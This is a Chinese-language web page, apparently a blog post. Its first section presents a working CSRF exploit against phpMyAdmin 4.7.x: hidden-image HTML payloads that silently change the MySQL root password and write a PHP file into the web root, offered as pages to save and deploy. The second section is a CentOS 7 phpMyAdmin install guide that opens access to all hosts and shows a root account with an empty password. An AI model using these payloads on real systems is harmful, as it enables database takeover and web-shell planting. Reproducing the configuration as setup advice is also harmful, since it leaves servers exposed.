phpMyAdmin 4.7.x CSRF 漏洞利用 修改root密码：保存为：webshell.html[HTML] <p>Hello World</p> <img src="https://webshell.cc/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27www.webshell.cc%27)" style="display:none;" />密码为：www.webshell.cc写文件首先你要知道路径保存为：webshell.html[Bash shell] <p>Hello World</p> <img src="https://webshell.cc/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />

centos7安装phpmyadmin 首先服务器要有web 环境yum install phpmyadmin有时候会安装不成功，提示没有可用软件包，则需要安装Remi源 # yum install epel-release # rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm修改配置 vim /etc/httpd/conf.d/phpMyadmin.conf将 Require ip 127.0.0.1 Require ip ::1 注释添加Require all granted即可在浏览器本地通过localhost/phpmyadmin 访问修改配置 vim /etc/phpMyAdmin/config.inc.php $cfg['Servers'][$i]['host'] = 'localhost'; //设定MySQL所在的主机名或IP地址。如127.0.0.1这步很重要 $cfg['Servers'][$i]['auth_type'] = 'cookie'; // 设定进入phpMyAdmin管理MySQL的方式，共有三个选项：config、http、cookie。config是按配置文件登录，为默认方式， 无需任何确认；http是使用HTTP登录管理，在Apache模块安装下才能支持；cookie是最通用的管理方式。后两种方式的用户名和密码都是直接到数据库中验证。 $cfg['Servers'][$i]['user'] = 'root' ; //设定管理MySQL的账号。 $cfg['Servers'][$i]['password'] = '' ; //设定管理MySQL的密码。 设置完成后，保存config.inc.php文件，重启Apache，测试：访问http://localhost/phpMyAdmin/如果访问报错如下图：不慌这种情况是给phpMyAdmin目录的权限太高，给755权限就不会报错了chmod -R 755 /etc/phpMyadmin